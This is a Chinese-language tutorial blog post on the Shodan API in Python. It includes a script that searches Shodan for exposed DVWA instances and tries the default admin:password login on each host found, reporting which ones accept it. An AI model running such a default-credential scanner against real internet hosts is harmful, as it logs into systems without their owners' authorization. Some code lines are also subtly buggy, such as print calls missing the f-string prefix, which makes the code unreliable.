如何在Python中使用Shodan API?代码实现

2021年11月16日14:51:44 发表评论 1,418 次浏览

Python如何使用Shodan API?本文带你了解如何使用 Shodan API 制作脚本,使用 Python 搜索公共易受攻击的服务器、物联网设备、发电厂等。

公共 IP 地址在 Internet 上路由,这意味着可以在具有公共 IP 的任何主机和连接到 Internet 的任何其他主机之间建立连接,而无需防火墙过滤传出流量,并且因为IPv4仍然是主要使用的协议互联网,现在有可能爬行整个互联网。

有许多平台提供 Internet 扫描即服务,仅举几例;ShodanCensysZoomEye。使用这些服务,我们可以在互联网上扫描运行给定服务的设备,我们可以找到监控摄像头、工业控制系统,如发电厂、服务器、物联网设备等等。

这些服务通常提供一个 API,它允许程序员充分利用他们的扫描结果,产品经理也使用它们来检查补丁应用程序,并与竞争对手一起了解市场份额,以及安全使用研究人员寻找易受攻击的宿主并创建有关漏洞影响的报告。

如何在Python中使用Shodan API?在本教程中,我们将使用 Python研究Shodan 的 API及其一些实际Python使用Shodan API代码示例

Shodan 是迄今为止最受欢迎的物联网搜索引擎,它创建于 2009 年,具有用于手动探索数据的 Web 界面,以及适用于最流行的编程语言(包括 Python、Ruby、Java 和 C#)的 REST API 和库。

使用大部分 Shodan 功能需要有 Shodan 会员资格,在撰写本文时需要花费49 美元以获得终身升级,并且对学生、教授和 IT 人员免费,请参阅此页面了解更多信息。

成为会员后,你可以手动探索数据,让我们尝试查找未受保护的安讯士安全摄像头:

如何在Python中使用Shodan API?代码实现如你所见,搜索引擎非常强大,尤其是搜索过滤器,如果你想测试更酷的查询,我们建议你查看这个很棒的 Shodan 搜索查询列表

现在让我们尝试使用 Shodan API。首先,我们导航到我们的帐户,以检索我们的 API 密钥:

如何在Python中使用Shodan API?代码实现要开始使用 Python,我们需要安装shodan库

pip3 install shodan

Python如何使用Shodan API?我们将在本教程中使用的示例是我们制作一个脚本,用于搜索仍然具有默认凭据的DVWA(该死的易受攻击的 Web 应用程序)实例并报告它们。

DVWA 是一个开源项目,旨在进行安全测试,它是一个设计上容易受到攻击的 web 应用程序,希望用户将它部署在他们的机器上使用它,我们将尝试在互联网上找到已经部署它的实例,以无需安装即可使用。

应该有很多方法可以搜索 DVWA 实例,但我们会坚持标题,因为它很简单:

如何在Python中使用Shodan API?代码实现

手动执行此任务的困难在于大多数实例都应该更改其登录凭据。因此,为了找到可访问的 DVWA 实例,有必要在每个检测到的实例上尝试默认凭据,我们将使用 Python 来做到这一点,如下Python使用Shodan API代码示例:

import shodan
import time
import requests
import re

# your shodan API key
SHODAN_API_KEY = '<YOUR_SHODAN_API_KEY_HERE>'
api = shodan.Shodan(SHODAN_API_KEY)

如何在Python中使用Shodan API?现在让我们编写一个函数,从 Shodan 查询一页结果,一页最多可以包含100 个结果,为了安全我们添加了一个循环。如果出现网络或 API 错误,我们会继续重试第二次延迟,直到它正常工作:

# requests a page of data from shodan
def request_page_from_shodan(query, page=1):
    while True:
        try:
            instances = api.search(query, page=page)
            return instances
        except shodan.APIError as e:
            print(f"Error: {e}")
            time.sleep(5)

Python如何使用Shodan API?让我们定义一个接受主机的函数,并检查凭证admin:password(DVWA 的默认值)是否有效,这独立于 Shodan 库,我们将使用 requests 库提交我们的凭证,并检查结果:

# Try the default credentials on a given instance of DVWA, simulating a real user trying the credentials
# visits the login.php page to get the CSRF token, and tries to login with admin:password
def has_valid_credentials(instance):
    sess = requests.Session()
    proto = ('ssl' in instance) and 'https' or 'http'
    try:
        res = sess.get(f"{proto}://{instance['ip_str']}:{instance['port']}/login.php", verify=False)
    except requests.exceptions.ConnectionError:
        return False
    if res.status_code != 200:
        print("[-] Got HTTP status code {res.status_code}, expected 200")
        return False
    # search the CSRF token using regex
    token = re.search(r"user_token' value='([0-9a-f]+)'", res.text).group(1)
    res = sess.post(
        f"{proto}://{instance['ip_str']}:{instance['port']}/login.php",
        f"username=admin&password=password&user_token={token}&Login=Login",
        allow_redirects=False,
        verify=False,
        headers={'Content-Type': 'application/x-www-form-urlencoded'}
    )
    if res.status_code == 302 and res.headers['Location'] == 'index.php':
        # Redirects to index.php, we expect an authentication success
        return True
    else:
        return False

相关: 如何在 Python 中使用 Selenium 自动登录。

上述函数向DVWA登录页面发送GET请求,获取user_token,然后发送带有默认用户名和密码以及CSRF令牌的POST请求,然后检查身份验证是否成功。

让我们编写一个接受查询的函数,并遍历 Shodan 搜索结果中的页面,对于每个页面上的每个主机,我们调用该has_valid_credentials()函数,如下Python使用Shodan API代码示例:

# Takes a page of results, and scans each of them, running has_valid_credentials
def process_page(page):
    result = []
    for instance in page['matches']:
        if has_valid_credentials(instance):
            print(f"[+] valid credentials at : {instance['ip_str']}:{instance['port']}")
            result.append(instance)
    return result

# searches on shodan using the given query, and iterates over each page of the results
def query_shodan(query):
    print("[*] querying the first page")
    first_page = request_page_from_shodan(query)
    total = first_page['total']
    already_processed = len(first_page['matches'])
    result = process_page(first_page)
    page = 2
    while already_processed < total:
        # break just in your testing, API queries have monthly limits
        break
        print("querying page {page}")
        page = request_page_from_shodan(query, page=page)
        already_processed += len(page['matches'])
        result += process_page(page)
        page += 1
    return result

# search for DVWA instances
res = query_shodan('title:dvwa')
print(res)

通过利用多线程加速我们的扫描,可以显着改善这一点,因为我们可以并行检查主机,查看本教程可能会对你有所帮助。

这是脚本输出:

如何在Python中使用Shodan API?代码实现如你所见,此 Python 脚本运行并报告在 DVWA 实例上具有默认凭据的主机。

另请阅读: 如何使用 Python 从 URL 中提取和提交 Web 表单。

结论

Python如何使用Shodan API?使用默认凭据扫描 DVWA 实例可能不是最有用的示例,因为该应用程序被设计为易受攻击的,并且大多数使用它的人不会更改他们的凭据。

如何在Python中使用Shodan API?使用 Shodan API 非常强大,上面的例子强调了如何迭代扫描结果,并用代码处理每个结果,搜索 API 是最流行的,但 Shodan 也支持按需扫描,网络监控还有更多,你可以查看API 参考以了解更多详细信息。

木子山

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: